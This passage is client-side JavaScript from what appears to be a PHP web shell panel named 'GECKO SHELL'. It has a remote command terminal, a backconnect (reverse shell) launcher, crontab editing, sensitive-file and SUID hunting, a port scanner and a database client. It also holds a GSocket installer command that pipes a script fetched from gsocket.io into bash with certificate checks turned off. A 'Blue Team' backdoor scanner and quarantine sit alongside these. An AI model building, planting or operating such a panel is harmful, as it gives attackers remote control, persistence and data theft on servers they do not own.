    } else if (successCount > 0 && failCount > 0) {
        toast(`Uploaded: ${successCount}, Failed: ${failCount}`, successCount > 0 ? 'ok' : 'error');
    }
}

// ─── Upload Event Handlers ─────────────────────────────────────────
const dz = $('#dropzone');
const fi = $('#fileInput');

if (dz) {
  dz.onclick = (e) => {
      e.stopPropagation();
      if (fi) fi.click();
  };
}
if (fi) {
  fi.onchange = (e) => {
      if (fi.files && fi.files.length > 0) {
          uploadFiles(Array.from(fi.files));
          fi.value = '';
      }
  };
}
if (dz) {
  dz.ondragover = (e) => {
      e.preventDefault();
      e.stopPropagation();
      dz.classList.add('over');
  };
  dz.ondragleave = (e) => {
      e.preventDefault();
      e.stopPropagation();
      dz.classList.remove('over');
  };
  dz.ondrop = (e) => {
      e.preventDefault();
      e.stopPropagation();
      dz.classList.remove('over');
      const files = Array.from(e.dataTransfer.files);
      if (files.length > 0) {
          uploadFiles(files);
      }
  };
}

const panel = $('#panel');
if (panel) {
  panel.ondragover = (e) => {
      e.preventDefault();
      e.stopPropagation();
      panel.classList.add('drag-over');
  };
  panel.ondragleave = (e) => {
      e.preventDefault();
      e.stopPropagation();
      panel.classList.remove('drag-over');
  };
  panel.ondrop = (e) => {
      e.preventDefault();
      e.stopPropagation();
      panel.classList.remove('drag-over');
      const files = Array.from(e.dataTransfer.files);
      if (files.length > 0) {
          uploadFiles(files);
      }
  };
}

// ─── Terminal ────────────────────────────────────────────────────
S.termCount = 0;

function openTerm(){
  openM('#mTerm');
  syncTermCwd();
  const o=$('#termOut');
  if(!o.children.length){
    const banner=document.createElement('div');
    banner.className='term-banner';
    banner.innerHTML='<b>GECKO SHELL · v2.0</b>Type a command and press <span class="kbd">Enter</span>. Use <span class="kbd">↑</span>/<span class="kbd">↓</span> for history, <span class="kbd">Ctrl+L</span> to clear.';
    o.appendChild(banner);
  }
  setTimeout(()=>$('#termIn').focus(),150);
}

function syncTermCwd(){
  const path = S.path || '~';
  const cwdEl = $('#termCwd');
  const promptCwdEl = $('#termPromptCwd');
  if(cwdEl) cwdEl.textContent = path;
  if(promptCwdEl){
    const parts = path.split(/[\/\\]/).filter(p=>p);
    promptCwdEl.textContent = parts.length>2 ? '…/'+parts.slice(-2).join('/') : (path||'~');
  }
}

function fmtClock(){
  const d=new Date();
  return String(d.getHours()).padStart(2,'0')+':'+String(d.getMinutes()).padStart(2,'0')+':'+String(d.getSeconds()).padStart(2,'0');
}
function fmtDur(ms){
  if(ms<1000)return ms+'ms';
  if(ms<60000)return (ms/1000).toFixed(2)+'s';
  return Math.floor(ms/60000)+'m'+Math.floor((ms%60000)/1000)+'s';
}

function appendTerm(text,cls='out'){
  const o=$('#termOut');
  const d=document.createElement('div');
  d.className='term-line '+(cls||'');
  d.textContent=text;
  o.appendChild(d);
  o.scrollTop=o.scrollHeight;
}

function makeBlock(cmd){
  const b=document.createElement('div');
  b.className='term-block running';
  const cmdLine=document.createElement('div');
  cmdLine.className='term-cmd-line';
  const promptSpan=document.createElement('span');
  promptSpan.className='term-prompt-mini';
  promptSpan.textContent='❯';
  const cmdText=document.createElement('span');
  cmdText.className='term-cmd-text';
  cmdText.textContent=cmd;
  const meta=document.createElement('span');
  meta.className='term-cmd-meta';
  const time=document.createElement('span');
  time.className='term-time';
  time.textContent=fmtClock();
  const dur=document.createElement('span');
  dur.className='term-duration';
  dur.textContent='…';
  meta.appendChild(time); meta.appendChild(dur);
  cmdLine.appendChild(promptSpan); cmdLine.appendChild(cmdText); cmdLine.appendChild(meta);
  const out=document.createElement('div');
  out.className='term-out-text';
  out.innerHTML='<div class="term-running-dots"><span></span><span></span><span></span></div>';
  b.appendChild(cmdLine); b.appendChild(out);
  return b;
}

async function runTerm(cmd){
  if(!cmd.trim())return;
  const o=$('#termOut');
  const block=makeBlock(cmd);
  o.appendChild(block);
  o.scrollTop=o.scrollHeight;
  $('#termSpinner').classList.add('show');
  const t0=performance.now();
  let d;
  try{
    d=await api('terminal',{path:S.path,command:cmd});
  }catch(e){
    d={ok:false,error:'Network error'};
  }
  const dt=Math.round(performance.now()-t0);
  const durEl=block.querySelector('.term-duration');
  const outEl=block.querySelector('.term-out-text');
  block.classList.remove('running');
  durEl.textContent=fmtDur(dt);
  $('#termSpinner').classList.remove('show');
  if(!d.ok){
    block.classList.add('error');
    outEl.textContent=d.error||'Error';
  }else{
    if(d.exit_code) block.classList.add('error');
    else block.classList.add('success');
    outEl.textContent=d.output||'(no output)';
    if(d.exit_code){
      const note=document.createElement('div');
      note.className='term-exit-note';
      note.textContent='exit code · '+d.exit_code;
      block.appendChild(note);
    }
  }
  S.termCount++;
  const tc=$('#termCount'); if(tc) tc.textContent=S.termCount;
  o.scrollTop=o.scrollHeight;
  navigate(S.path);
}

const termIn = $('#termIn');
if (termIn) {
  termIn.addEventListener('keydown',e=>{
    if(e.key==='Enter'){
      const v=e.target.value;
      e.target.value='';
      if(v.trim()){S.termHistory.push(v);S.termHistIdx=S.termHistory.length;runTerm(v)}
    }
    else if(e.key==='ArrowUp'){
      e.preventDefault();
      if(S.termHistIdx>0){S.termHistIdx--;e.target.value=S.termHistory[S.termHistIdx]}
    }
    else if(e.key==='ArrowDown'){
      e.preventDefault();
      if(S.termHistIdx<S.termHistory.length-1){S.termHistIdx++;e.target.value=S.termHistory[S.termHistIdx]}
      else{S.termHistIdx=S.termHistory.length;e.target.value=''}
    }
    else if((e.ctrlKey||e.metaKey)&&e.key.toLowerCase()==='l'){
      e.preventDefault();
      $('#termOut').innerHTML='';
      S.termCount=0;
      const tc=$('#termCount'); if(tc) tc.textContent=0;
    }
  });
}
const _termClearBtn = $('#termClear');
if (_termClearBtn) _termClearBtn.onclick = ()=>{
  $('#termOut').innerHTML='';
  S.termCount=0;
  const tc=$('#termCount'); if(tc) tc.textContent=0;
  $('#termIn').focus();
};
const _termCopyBtn = $('#termCopy');
if (_termCopyBtn) _termCopyBtn.onclick = async ()=>{
  const o=$('#termOut');
  const txt=o.innerText||'';
  try{
    await navigator.clipboard.writeText(txt);
    toast('Output copied to clipboard');
  }catch(e){
    toast('Copy failed','err');
  }
};

// ─── Tools: Cron, Backconnect, Port Scan, DB ───────────────────
function dbPayload(){
  return {
    type: $('#dbType').value,
    host: $('#dbHost').value.trim(),
    port: parseInt($('#dbPort').value,10)||3306,
    user: $('#dbUser').value,
    pass: $('#dbPass').value,
    db: $('#dbName').value.trim()
  };
}

async function loadCron(){
  const note=$('#cronPlatformNote');
  const ta=$('#cronContent');
  if(note) note.textContent='Loading…';
  const d=await api('cron_list',{});
  if(!d.ok){ if(note) note.textContent=d.error||'Failed'; return toast(d.error,'error'); }
  if(ta) ta.value=d.content||'';
  if(note){
    note.textContent=d.platform==='windows'
      ? 'Windows — read-only (schtasks). Edit via Terminal.'
      : 'Linux/Unix crontab — one entry per line.';
  }
  if(ta) ta.readOnly=!d.editable;
  const saveBtn=$('#cronSave');
  if(saveBtn) saveBtn.style.display=d.editable?'':'none';
}

function openCron(){
  openM('#mCron');
  loadCron();
}

async function saveCron(){
  const d=await api('cron_save',{content:$('#cronContent').value});
  if(!d.ok) return toast(d.error,'error');
  toast('Crontab saved','ok');
  loadCron();
}

function openBackconnect(){
  openM('#mBackconnect');
  $('#bcOutput').textContent='Ready — connection runs in background.';
  $('#bcOutput').className='tool-output empty';
}

async function startBackconnect(){
  const ip=$('#bcIp').value.trim();
  const port=parseInt($('#bcPort').value,10)||4444;
  const method=$('#bcMethod').value;
  if(!ip) return toast('Enter your IP/host','error');
  const out=$('#bcOutput');
  out.textContent='Starting…';
  out.className='tool-output';
  const d=await api('backconnect',{ip,port,method});
  out.textContent=d.ok?(d.message||'Started'):(d.error||'Failed');
  out.className='tool-output'+(d.ok?'':' empty');
  if(d.ok) toast(d.message,'ok'); else toast(d.error,'error');
}

const GS_COMMANDS = {
  curl: 'GS_NOCERTCHECK=1 bash -c "$(curl -fsSLk https://gsocket.io/y)"',
  wget: 'GS_NOCERTCHECK=1 bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"'
};

function updateGsPreview(){
  const m=$('#gsMethod').value;
  const preview=$('#gsCmdPreview');
  if(preview) preview.textContent=GS_COMMANDS[m]||GS_COMMANDS.curl;
}

function openGsocket(){
  openM('#mGsocket');
  updateGsPreview();
  $('#gsOutput').textContent='Klik Run untuk mengeksekusi installer GSocket.';
  $('#gsOutput').className='tool-output tall empty';
  $('#gsMeta').textContent='—';
}

async function runGsocket(){
  const method=$('#gsMethod').value;
  const out=$('#gsOutput');
  const meta=$('#gsMeta');
  const btn=$('#gsRun');
  out.textContent='Running installer… auto-retry GS_PORT 22–67 if GSRN firewalled';
  out.className='tool-output tall';
  if(meta) meta.textContent='Executing (may take several minutes)…';
  if(btn){ btn.disabled=true; btn.textContent='Running…'; }
  const t0=performance.now();
  let d;
  try{
    d=await api('gsocket',{method});
  }catch(e){
    d={ok:false,error:'Network error or timeout'};
  }
  const ms=Math.round(performance.now()-t0);
  if(btn){ btn.disabled=false; btn.textContent='Run GSocket'; }
  if(!d.ok){
    out.textContent=d.error||'Failed';
    out.className='tool-output tall empty';
    if(meta) meta.textContent='Error · '+ms+'ms';
    return toast(d.error||'Failed','error');
  }
  out.textContent=d.output||'(no output)';
  out.className='tool-output tall';
  if(meta){
    let portInfo='';
    if(d.gs_port_label) portInfo=' · port '+d.gs_port_label;
    else if(d.gs_port!==undefined && d.gs_port!==null) portInfo=' · GS_PORT='+d.gs_port;
    meta.textContent=(d.method||method)+portInfo+' · '+d.attempts+' attempt(s) · '+ms+'ms';
  }
  if(d.firewalled){
    toast('GSRN still firewalled on all ports (22–67)','error');
  }else if(d.success){
    toast('GSocket OK · '+((d.gs_port_label||d.gs_port||'default')),'ok');
  }else{
    toast('GSocket finished (exit '+d.exit_code+')', d.exit_code===0?'ok':'error');
  }
}

$('#gsMethod').addEventListener('change', updateGsPreview);
$('#gsCopy').onclick=async()=>{
  const txt=$('#gsOutput').textContent||'';
  if(!txt||txt.startsWith('Klik Run')) return toast('Nothing to copy','error');
  try{
    await navigator.clipboard.writeText(txt);
    toast('Output copied');
  }catch(e){
    toast('Copy failed','error');
  }
};

// ─── Cyber Security Hub ──────────────────────────────────────────
function setSecTab(tab){
  $$('#mSecHub .ip-tab').forEach(b=>b.classList.toggle('active', b.dataset.sec===tab));
  $$('#mSecHub .sec-panel').forEach(p=>p.classList.toggle('active', p.dataset.panel===tab));
}

function openSecHub(tab){
  openM('#mSecHub');
  setSecTab(tab||'recon');
  if(tab==='recon' && !S.secReconLoaded){
    S.secReconLoaded=true;
    secRunTool('recon','secOutRecon');
  }
}

async function secRunTool(tool, outId, extra){
  const out = outId ? $('#'+outId) : null;
  const meta=$('#secMeta');
  const payload=Object.assign({tool}, extra||{});
  if(out){ out.textContent='Running…'; out.className='tool-output tall'; }
  if(meta) meta.textContent='Running '+tool+'…';
  const t0=performance.now();
  const d=await api('sec_tool',payload);
  const ms=Math.round(performance.now()-t0);
  if(!d.ok){
    if(out){ out.textContent=d.error||'Failed'; out.className='tool-output tall empty'; }
    if(meta) meta.textContent='Error · '+ms+'ms';
    return toast(d.error||'Failed','error');
  }
  if(out){ out.textContent=d.output||'(no output)'; out.className='tool-output tall'; }
  if(meta){
    let extra='';
    if(d.count!==undefined) extra=' · '+d.count+' found';
    meta.textContent=tool+extra+' · '+ms+'ms';
  }
  return d;
}

$$('#mSecHub .ip-tab').forEach(btn=>{
  btn.onclick=()=>setSecTab(btn.dataset.sec);
});

$('#secPhpinfo').onclick=()=>window.open('?phpinfo=1','_blank');
$('#secRunRecon').onclick=()=>secRunTool('recon','secOutRecon');
$('#secCopyRecon').onclick=async()=>{
  const txt=$('#secOutRecon').textContent||'';
  if(!txt||txt.includes('System info')) return toast('Nothing to copy','error');
  try{ await navigator.clipboard.writeText(txt); toast('Copied'); }catch(e){ toast('Copy failed','error'); }
};
$('#secRunSensitive').onclick=()=>secRunTool('sensitive','secOutSensitive',{path:$('#secSensPath').value.trim()});
$('#secRunProcesses').onclick=()=>secRunTool('processes','secOutProcesses');
$('#secRunNetwork').onclick=()=>secRunTool('network','secOutNetwork');
$('#secRunHttp').onclick=()=>secRunTool('http','secOutHttp',{
  url:$('#secHttpUrl').value.trim(),
  method:$('#secHttpMethod').value,
  headers:$('#secHttpHeaders').value,
  body:$('#secHttpBody').value
});
$('#secRunHash').onclick=()=>secRunTool('hash','secOutHash',{text:$('#secHashText').value,algo:$('#secHashAlgo').value});
$('#secRunCodec').onclick=()=>secRunTool('codec','secOutCodec',{mode:$('#secCodecMode').value,text:$('#secCodecText').value});
$('#secRunDns').onclick=()=>secRunTool('dns','secOutDns',{host:$('#secDnsHost').value.trim(),type:$('#secDnsType').value});
$('#secRunSuid').onclick=()=>secRunTool('suid','secOutSuid');

// ─── Blue Team Hub ───────────────────────────────────────────────
function setBlueTab(tab){
  $$('#mBlueHub .ip-tab').forEach(b=>b.classList.toggle('active', b.dataset.blue===tab));
  $$('#mBlueHub .sec-panel').forEach(p=>p.classList.toggle('active', p.dataset.bpanel===tab));
}

function openBlueHub(tab){
  openM('#mBlueHub');
  setBlueTab(tab||'backdoor');
  if(tab==='backdoor' || !tab) loadBlueQuarantine();
}

async function blueRunTool(tool, outId, extra){
  const out = outId ? $('#'+outId) : null;
  const meta = $('#blueMeta');
  const payload = Object.assign({tool}, extra||{});
  if(out){ out.textContent='Scanning… this may take a while'; out.className='tool-output tall'; }
  if(meta) meta.textContent='Running '+tool+'…';
  const t0=performance.now();
  const d=await api('blue_tool',payload);
  const ms=Math.round(performance.now()-t0);
  if(!d.ok){
    if(out){ out.textContent=d.error||'Failed'; out.className='tool-output tall empty'; }
    if(meta) meta.textContent='Error · '+ms+'ms';
    return toast(d.error||'Failed','error');
  }
  if(out){ out.textContent=d.output||'(no output)'; out.className='tool-output tall'; }
  if(meta){
    let info = tool+' · '+ms+'ms';
    if(d.count!==undefined) info += ' · '+d.count+' finding(s)';
    if(d.critical!==undefined && d.critical>0) info += ' · '+d.critical+' critical/high';
    if(d.scanned!==undefined) info += ' · '+d.scanned+' scanned';
    meta.textContent=info;
  }
  if(d.critical>0) toast(d.critical+' critical/high threat(s) found','error');
  else if(d.count>0) toast(d.count+' finding(s) — review report','error');
  else toast('Scan complete — no major threats','ok');
  return d;
}

$$('#mBlueHub .ip-tab').forEach(btn=>btn.onclick=()=>setBlueTab(btn.dataset.blue));

function renderBlueThreats(findings){
  S.blueFindings = findings || [];
  const list = $('#blueThreatList');
  const actions = $('#blueThreatActions');
  const countEl = $('#blueThreatCount');
  if(!list || !actions) return;
  if(!S.blueFindings.length){
    list.innerHTML = '';
    list.classList.add('hidden');
    actions.classList.remove('show');
    return;
  }
  list.classList.remove('hidden');
  actions.classList.add('show');
  if(countEl) countEl.textContent = S.blueFindings.length + ' threat(s) — select to quarantine';
  list.innerHTML = S.blueFindings.map((f,i)=>{
    const mod = f.modified ? new Date(f.modified*1000).toLocaleString() : '-';
    const hits = (f.hits||[]).slice(0,6).join(', ');
    return `<label class="blue-threat-item">
      <input type="checkbox" class="blue-threat-cb" data-idx="${i}" checked>
      <span class="blue-threat-sev ${esc(f.severity||'LOW')}">${esc(f.severity||'?')}</span>
      <div class="blue-threat-info">
        <div class="blue-threat-path">${esc(f.path)}</div>
        <div class="blue-threat-meta">score:${f.score} · ${mod} · ${esc(hits)}</div>
      </div>
    </label>`;
  }).join('');
}

function getBlueSelectedPaths(all){
  if(all) return S.blueFindings.map(f=>f.path);
  const paths = [];
  $$('.blue-threat-cb:checked').forEach(cb=>{
    const idx = parseInt(cb.dataset.idx,10);
    if(S.blueFindings[idx]) paths.push(S.blueFindings[idx].path);
  });
  return paths;
}

function clearBlueThreatsUI(){
  S.blueFindings = [];
  renderBlueThreats([]);
}

function dismissBlueThreats(){
  clearBlueThreatsUI();
  toast('Threat list dismissed — no files moved','ok');
}

function renderBlueQuarantine(entries, dir){
  S.blueQuarantine = entries || [];
  const list = $('#blueQuarantineList');
  const dirEl = $('#blueQuarantineDir');
  if(dirEl && dir) dirEl.textContent = 'Quarantine folder: '+dir+' — restore anytime.';
  if(!list) return;
  if(!S.blueQuarantine.length){
    list.innerHTML = '<div class="blue-threat-item" style="color:var(--tx4);font-style:italic;padding:12px">No quarantined files.</div>';
    return;
  }
  list.innerHTML = S.blueQuarantine.map((e,i)=>{
    const when = e.moved_at ? new Date(e.moved_at*1000).toLocaleString() : '-';
    return `<label class="blue-threat-item">
      <input type="checkbox" class="blue-q-cb" data-id="${esc(e.id)}" checked>
      <span class="blue-threat-sev MEDIUM">TMP</span>
      <div class="blue-threat-info">
        <div class="blue-threat-path">${esc(e.original)}</div>
        <div class="blue-threat-meta">quarantined: ${esc(when)} · id:${esc(e.id)}</div>
      </div>
      <button type="button" class="btn btn-ghost btn-sm blue-restore-one" data-id="${esc(e.id)}">Restore</button>
    </label>`;
  }).join('');
  list.querySelectorAll('.blue-restore-one').forEach(btn=>{
    btn.onclick = (ev)=>{ ev.preventDefault(); restoreBlueQuarantine([btn.dataset.id]); };
  });
}

async function loadBlueQuarantine(){
  const d = await api('blue_quarantine_list',{});
  if(!d.ok) return;
  renderBlueQuarantine(d.entries||[], d.dir||'');
}

function getBlueQuarantineSelectedIds(all){
  if(all) return S.blueQuarantine.map(e=>e.id);
  const ids = [];
  $$('.blue-q-cb:checked').forEach(cb=>{ if(cb.dataset.id) ids.push(cb.dataset.id); });
  return ids;
}

async function restoreBlueQuarantine(ids){
  if(!ids.length) return toast('No items selected','error');
  const out = $('#blueOutBackdoor');
  if(out){ out.textContent='Restoring '+ids.length+' file(s)…'; out.className='tool-output tall'; }
  const d = await api('blue_restore',{ids});
  if(!d.ok){ if(out) out.textContent=d.error||'Restore failed'; return toast(d.error||'Failed','error'); }
  if(out) out.textContent = d.output || 'Restored';
  await loadBlueQuarantine();
  toast('Restored '+(d.count||0)+' file(s)'+(d.failed&&d.failed.length?' · '+d.failed.length+' failed':''), d.failed&&d.failed.length?'error':'ok');
}

function showBlueDeleteConfirm(paths, label){
  if(!paths.length) return toast('No files selected','error');
  S.blueDeleteQueue = paths;
  $('#blueDeleteMsg').textContent = label || ('Move '+paths.length+' file(s) to quarantine (tmp)?');
  openM('#mBlueDelete');
}

async function executeBlueDelete(){
  const paths = S.blueDeleteQueue || [];
  if(!paths.length){ closeAll(); return; }
  closeAll();
  const out = $('#blueOutBackdoor');
  if(out){ out.textContent='Moving '+paths.length+' file(s) to quarantine…'; out.className='tool-output tall'; }
  const d = await api('blue_delete',{paths});
  if(!d.ok){ if(out) out.textContent=d.error||'Quarantine failed'; return toast(d.error||'Failed','error'); }
  if(out) out.textContent = d.output || 'Done';
  const norm = p => String(p||'').replace(/\\/g,'/').toLowerCase();
  const movedSet = new Set((d.deleted||[]).map(norm));
  S.blueFindings = S.blueFindings.filter(f=>!movedSet.has(norm(f.path)));
  renderBlueThreats(S.blueFindings);
  S.blueDeleteQueue = [];
  await loadBlueQuarantine();
  toast('Quarantined '+(d.count||0)+' file(s)'+(d.failed&&d.failed.length?' · '+d.failed.length+' failed':''), d.failed&&d.failed.length?'error':'ok');
}

async function runBackdoorScan(){
  const out = $('#blueOutBackdoor');
  const meta = $('#blueMeta');
  const aggressive = $('#blueAggressive') ? $('#blueAggressive').checked : true;
  clearBlueThreatsUI();
  if(out){ out.textContent='Aggressive scan running… (may take several minutes)'; out.className='tool-output tall'; }
  if(meta) meta.textContent='Scanning…';
  const t0 = performance.now();
  const d = await api('blue_tool',{tool:'backdoor', path:$('#blueScanPath').value.trim(), aggressive:aggressive?1:0});
  const ms = Math.round(performance.now()-t0);
  if(!d.ok){
    if(out){ out.textContent=d.error||'Failed'; out.className='tool-output tall empty'; }
    if(meta) meta.textContent='Error · '+ms+'ms';
    return toast(d.error||'Failed','error');
  }
  if(out){ out.textContent=d.output||'(no output)'; out.className='tool-output tall'; }
  if(meta){
    let info = 'backdoor · '+ms+'ms · '+d.scanned+' scanned';
    if(d.count!==undefined) info += ' · '+d.count+' finding(s)';
    if(d.critical) info += ' · '+d.critical+' critical/high';
    meta.textContent = info;
  }
  if(d.findings && d.findings.length){
    renderBlueThreats(d.findings);
    toast(d.count+' threat(s) found — review & quarantine or keep','error');
  }else{
    renderBlueThreats([]);
    toast('Scan complete — no threats detected','ok');
  }
  return d;
}

$('#blueRunBackdoor').onclick=runBackdoorScan;
$('#blueSelectAll').onclick=()=>$$('.blue-threat-cb').forEach(cb=>{cb.checked=true});
$('#blueSelectNone').onclick=()=>$$('.blue-threat-cb').forEach(cb=>{cb.checked=false});
$('#blueDeleteSelected').onclick=()=>{
  const paths = getBlueSelectedPaths(false);
  showBlueDeleteConfirm(paths, 'Move '+paths.length+' selected file(s) to quarantine (tmp)?');
};
$('#blueDeleteAll').onclick=()=>{
  const paths = getBlueSelectedPaths(true);
  showBlueDeleteConfirm(paths, 'Quarantine ALL '+paths.length+' detected threat(s) to tmp?');
};
$('#blueKeepAll').onclick=dismissBlueThreats;
$('#blueDeleteConfirm').onclick=executeBlueDelete;
$('#blueRefreshQuarantine').onclick=loadBlueQuarantine;
$('#blueRestoreSelected').onclick=()=>restoreBlueQuarantine(getBlueQuarantineSelectedIds(false));
$('#blueRestoreAll').onclick=()=>restoreBlueQuarantine(getBlueQuarantineSelectedIds(true));
$('#blueRunFullAudit').onclick=()=>blueRunTool('fullaudit','blueOutFullAudit',{path:$('#blueAuditPath').value.trim()});
$('#blueRunRecent').onclick=()=>blueRunTool('recent','blueOutRecent',{path:$('#blueRecentPath').value.trim(),days:parseInt($('#blueRecentDays').value,10)||7});
$('#blueRunWritable').onclick=()=>blueRunTool('writable','blueOutWritable',{path:$('#blueScanPath').value.trim()});
$('#blueRunHidden').onclick=()=>blueRunTool('hidden','blueOutHidden',{path:$('#blueScanPath').value.trim()});
$('#blueRunCron').onclick=()=>blueRunTool('cron','blueOutCron');
$('#blueRunLogs').onclick=()=>blueRunTool('logs','blueOutLogs');
$('#blueRunIoc').onclick=()=>blueRunTool('ioc','blueOutIoc',{path:$('#blueScanPath').value.trim()});
$('#blueRunProcess').onclick=()=>blueRunTool('process','blueOutProcess');
$('#blueCopyBackdoor').onclick=async()=>{
  const txt=$('#blueOutBackdoor').textContent||'';
  if(!txt||txt.startsWith('Scans up to')) return toast('Nothing to copy','error');
  try{ await navigator.clipboard.writeText(txt); toast('Report copied'); }catch(e){ toast('Copy failed','error'); }
};

function openPortScan(){
  openM('#mPortScan');
  $('#psOutput').textContent='Enter target and click Scan.';
  $('#psOutput').className='tool-output empty';
  $('#psTags').innerHTML='';
}

async function runPortScan(){
  const host=$('#psHost').value.trim()||'127.0.0.1';
  const ports=$('#psPorts').value.trim();
  const timeout=parseInt($('#psTimeout').value,10)||1;
  const out=$('#psOutput');
  const tags=$('#psTags');
  out.textContent='Scanning '+host+'…';
  out.className='tool-output';
  tags.innerHTML='';
  const t0=performance.now();
  const d=await api('portscan',{host,ports,timeout});
  const ms=Math.round(performance.now()-t0);
  if(!d.ok){
    out.textContent=d.error||'Scan failed';
    return toast(d.error,'error');
  }
  out.textContent='Resolved: '+(d.ip||host)+' · Scanned: '+d.scanned+' ports · Open: '+(d.open?d.open.length:0)+' · '+ms+'ms';
  if(d.open&&d.open.length){
    tags.innerHTML=d.open.map(p=>'<span class="tool-tag">'+p+'</span>').join('');
  }else{
    tags.innerHTML='<span class="tool-tag closed">No open ports found</span>';
  }
}

function renderDbResult(d){
  const el=$('#dbResult');
  if(!el) return;
  if(!d.ok){
    el.innerHTML='<div class="tool-output">'+esc(d.error||'Error')+'</div>';
    return;
  }
  if(d.type==='exec'){
    el.innerHTML='<div class="tool-output">Query executed.'+(d.message?' '+esc(d.message):'')+'</div>';
    $('#dbMeta').textContent='OK · exec';
    return;
  }
  if(!d.rows||!d.rows.length){
    el.innerHTML='<div class="tool-output empty">No rows returned ('+(d.count||0)+')</div>';
    $('#dbMeta').textContent='0 rows';
    return;
  }
  const cols=d.columns||Object.keys(d.rows[0]);
  let html='<div class="db-result-wrap"><table><thead><tr>';
  cols.forEach(c=>{ html+='<th>'+esc(c)+'</th>'; });
  html+='</tr></thead><tbody>';
  d.rows.forEach(row=>{
    html+='<tr>';
    cols.forEach(c=>{ html+='<td title="'+esc(String(row[c]!=null?row[c]:''))+'">'+esc(String(row[c]!=null?row[c]:''))+'</td>'; });
    html+='</tr>';
  });
  html+='</tbody></table></div>';
  el.innerHTML=html;
  $('#dbMeta').textContent=d.count+' row(s)';
}

function openAdminer(){
  openM('#mAdminer');
  $('#dbResult').innerHTML='';
  $('#dbTables').innerHTML='';
}

async function loadDbTables(){
  const d=await api('db_tables',dbPayload());
  const box=$('#dbTables');
  if(!d.ok){ box.innerHTML=''; return toast(d.error,'error'); }
  if(!d.tables||!d.tables.length){
    box.innerHTML='<span class="tool-note">No tables found</span>';
    return;
  }
  box.innerHTML=d.tables.map(t=>'<button type="button" class="db-table-chip" data-t="'+esc(t)+'">'+esc(t)+'</button>').join('');
  box.querySelectorAll('.db-table-chip').forEach(btn=>{
    btn.onclick=()=>{
      const t=btn.dataset.t;
      $('#dbSql').value='SELECT * FROM `'+t+'` LIMIT 50;';
    };
  });
  toast(d.tables.length+' table(s)','ok');
}

async function runDbQuery(){
  const sql=$('#dbSql').value.trim();
  if(!sql) return toast('Enter SQL query','error');
  const d=await api('db_query',Object.assign(dbPayload(),{sql}));
  renderDbResult(d);
  if(!d.ok) toast(d.error,'error');
}

$('#dbType').addEventListener('change',()=>{
  const t=$('#dbType').value;
  $('#dbPort').value=t==='pgsql'?5432:(t==='sqlite'?0:3306);
  if(t==='sqlite'){ $('#dbHost').value=''; $('#dbHost').placeholder='/path/to/database.sqlite'; }
  else { $('#dbHost').value='127.0.0.1'; $('#dbHost').placeholder=''; }
});

// ─── Context Menu ────────────────────────────────────────────────
const ctxEl=$('#ctx');
function showCtx(e,path,isDir,name,editable,perm){
  ctxEl.innerHTML=`
    <button class="ci" data-a="open"><svg viewBox="0 0 16 16"><path d="M8 1.5a6.5 6.5 0 1 0 0 13 6.5 6.5 0 0 0 0-13ZM0 8a8 8 0 1 1 16 0A8 8 0 0 1 0 8Z" fill="currentColor"/></svg>${isDir?'Open folder':'Open'}</button>
    ${!isDir&&editable?`<button class="ci" data-a="edit"><svg viewBox="0 0 16 16"><path d="M11.013 1.427a1.75 1.75 0 0 1 2.474 0l1.086 1.086a1.75 1.75 0 0 1 0 2.474l-8.61 8.61c-.2.201-.44.354-.706.454L3.3 14.814a.75.75 0 0 1-.963-.927l.772-2.521a1.75 1.75 0 0 1 .413-.664l8.61-8.61Z" fill="currentColor"/></svg>Edit</button>`:''}
    ${!isDir?`<button class="ci" data-a="dl"><svg viewBox="0 0 16 16"><path d="M2.75 14A1.75 1.75 0 0 1 1 12.25v-2.5a.75.75 0 0 1 1.5 0v2.5c0 .138.112.25.25.25h10.5a.25.25 0 0 0 .25-.25v-2.5a.75.75 0 0 1 1.5 0v2.5A1.75 1.75 0 0 1 14.25 14H2.75Z" fill="currentColor"/></svg>Download</button>`:''}
    <div class="ctx-sep"></div>
    <button class="ci" data-a="chmod"><svg viewBox="0 0 16 16"><path d="M8 2a3 3 0 1 0 0 6 3 3 0 0 0 0-6ZM4.5 5a3.5 3.5 0 1 1 7 0 3.5 3.5 0 0 1-7 0Z" fill="currentColor"/></svg>Permissions (Chmod)</button>
    <button class="ci" data-a="rename"><svg viewBox="0 0 16 16"><path d="M11.013 1.427a1.75 1.75 0 0 1 2.474 0l1.086 1.086a1.75 1.75 0 0 1 0 2.474l-8.61 8.61c-.2.201-.44.354-.706.454L3.3 14.814a.75.75 0 0 1-.963-.927l.772-2.521a1.75 1.75 0 0 1 .413-.664l8.61-8.61Z" fill="currentColor"/></svg>Rename</button>
    <button class="ci danger" data-a="delete"><svg viewBox="0 0 16 16"><path d="M11 1.75V3h2.25a.75.75 0 0 1 0 1.5H2.75a.75.75 0 0 1 0-1.5H5V1.75C5 .784 5.784 0 6.75 0h2.5C10.216 0 11 .784 11 1.75Z" fill="currentColor"/></svg>Delete</button>`;
  ctxEl.style.left=Math.min(e.clientX,innerWidth-210)+'px';
  ctxEl.style.top=Math.min(e.clientY,innerHeight-200)+'px';
  ctxEl.classList.add('open');
  ctxEl.querySelectorAll('[data-a]').forEach(b=>{
    b.onclick=()=>{ctxEl.classList.remove('open');const a=b.dataset.a;
      if(a==='open')openItem(path,isDir,editable);
      else if(a==='edit')openEditor(path);
      else if(a==='dl') window.location='?download='+encodeURIComponent(path);
      else if(a==='rename')showRename(path,name);
      else if(a==='delete')showDelete(path,name,isDir);
      else if(a==='chmod')showChmod(path,perm);
    };
  });
}
document.addEventListener('click',()=>ctxEl.classList.remove('open'));

// ─── Search ──────────────────────────────────────────────────────
const searchInput = $('#searchInput');
if (searchInput) {
  searchInput.addEventListener('input',e=>{
    clearTimeout(S.searchTimer);
    const q=e.target.value.trim();
    if(!q){$('#srList').classList.remove('open');return}
    S.searchTimer=setTimeout(async()=>{
      const d=await api('search',{path:S.path,query:q});
      const sr=$('#srList');
      if(!d.results.length){sr.innerHTML='<div class="sr-item" style="color:var(--tx3)">No results</div>';sr.classList.add('open');return}
      sr.innerHTML=d.results.map(r=>`<div class="sr-item" data-path="${esc(r.path)}" data-dir="${r.is_dir}">${ico(r.icon)}<span>${esc(r.name)}</span><span class="sr-path">${esc(r.path)}</span></div>`).join('');
      sr.classList.add('open');
      sr.querySelectorAll('.sr-item[data-path]').forEach(item=>item.onclick=()=>{sr.classList.remove('open');searchInput.value='';openItem(item.dataset.path,item.dataset.dir==='true',true)});
    },240);
  });
}
document.addEventListener('click',e=>{if(!e.target.closest('.search-wrap'))$('#srList').classList.remove('open')});

// ─── View ─────────────────────────────────────────────────────────
function setView(v){
